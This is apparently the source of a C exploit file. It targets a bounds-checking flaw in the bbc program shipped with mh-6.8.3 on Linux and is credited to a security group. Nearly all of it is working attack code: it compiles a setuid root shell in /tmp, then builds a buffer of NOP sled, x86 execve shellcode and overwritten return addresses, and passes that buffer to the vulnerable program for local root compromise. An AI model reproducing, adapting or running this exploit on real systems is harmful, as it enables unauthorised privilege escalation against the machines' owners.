ex_bbc.c exploits a bounds checking error in /usr/jp/bin/mh/bbc which was distributed with the mh-6.8.3 package. Local root compromise.
473ed7b2b606ac73b513d39a31d17c1a0273bb06e15e9331e35c648649c833b8
/*=============================================================================
mh-6.8.3 / bbc Exploit for Linux
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by
UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdlib.h>
#include <stdio.h>
#define BBC_PATH "/usr/jp/bin/mh/bbc"
#define RET_ADR 1009
#define FAKE1 1013
#define FAKE2 1017
#define FAKE_OFS 0x2274
#define JMP_OFS 0x3000
#define MAXBUF 3000
#define NOP 0x90
#define SHELL "/tmp/pp"
#define COMPILER "gcc"
char exec[60]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
char xx[MAXBUF+1];
unsigned int i,ip,sp;
FILE *fp;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
main(int argc,char *argv[])
{
strcat(exec,SHELL);
sprintf(xx,"%s.c",SHELL);
if ((fp=fopen(xx,"w"))==NULL){
printf("Can not write to %s\n",xx);
exit(1);
}
fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
fclose(fp);
sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
system(xx);
sp=get_sp();
printf("ESP = %x\n",sp);
memset(xx,NOP,MAXBUF);
ip=sp-FAKE_OFS;
xx[FAKE1 ]=ip&0xff;
xx[FAKE1+1]=(ip>>8)&0xff;
xx[FAKE1+2]=(ip>>16)&0xff;
xx[FAKE1+3]=(ip>>24)&0xff;
xx[FAKE2 ]=ip&0xff;
xx[FAKE2+1]=(ip>>8)&0xff;
xx[FAKE2+2]=(ip>>16)&0xff;
xx[FAKE2+3]=(ip>>24)&0xff;
ip=sp-JMP_OFS;
xx[RET_ADR ]=ip&0xff;
xx[RET_ADR+1]=(ip>>8)&0xff;
xx[RET_ADR+2]=(ip>>16)&0xff;
xx[RET_ADR+3]=(ip>>24)&0xff;
strncpy(xx+800,exec,strlen(exec));
xx[MAXBUF]=0;
if (argc!=2)
execl(BBC_PATH,"bbc","test","-file",xx,(char *) 0);
else
execl(argv[1],"bbc","test","-file",xx,(char *) 0);
}